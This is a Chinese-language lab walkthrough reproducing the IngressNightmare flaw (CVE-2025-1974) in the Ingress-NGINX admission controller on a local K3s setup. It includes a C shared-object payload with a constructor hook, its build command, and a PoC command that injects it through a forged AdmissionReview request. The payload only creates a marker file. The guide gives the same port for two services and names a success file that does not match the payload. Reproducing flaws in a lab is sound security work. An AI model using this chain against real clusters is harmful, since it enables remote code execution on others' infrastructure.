Ingress-NGINX: 使用NGINX作为反向代理和负载均衡器的Kubernetes ingress控制器
"IngressNightmare"漏洞(CVE-2025-1974)源于Ingress-NGINX Admission Controller的致命缺陷,该控制器是Kubernetes用于验证传入Ingress资源的核心安全机制。
该控制器在没有认证的情况下暴露于网络,使攻击者能够操纵恶意的AdmissionReview请求,并在Ingress资源中插入未授权的配置。
与其他漏洞(CVE-2025-24514, CVE-2024-1097 或 CVE-2025-1098)结合时,可能导致远程代码执行。
一些可利用的链如下:
CVE-2025-1974+CVE-2025-24514: 通过auth-url注释注入实现RCE
CVE-2025-1974+CVE-2025-1097: 通过auth-tls-match-cn注释实现RCE
CVE-2025-1974+CVE-2025-1098: 通过滥用镜像UID实现RCE
为了模拟漏洞,出于简单性考虑,使用了基于K3s的Kubernetes环境
docker compose up -d
等待Kubernetes API就绪并且Ingress-nginx控制器启动。 环境启动后,Ingress-NGINX在端口30080和30443(TLS)上监听,而Ingress-NGINX Admission Controller则在端口30443上。
.so 首先,需要编译与容器架构匹配的共享对象( )载荷。
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
AdmissionReview 漏洞利用通过伪造指令注入请求,迫使NGINX加载恶意的动态共享对象,从而起作用。
如果漏洞利用成功,可以在ingress-nginx容器内部看到创建了ssl_engine文件。
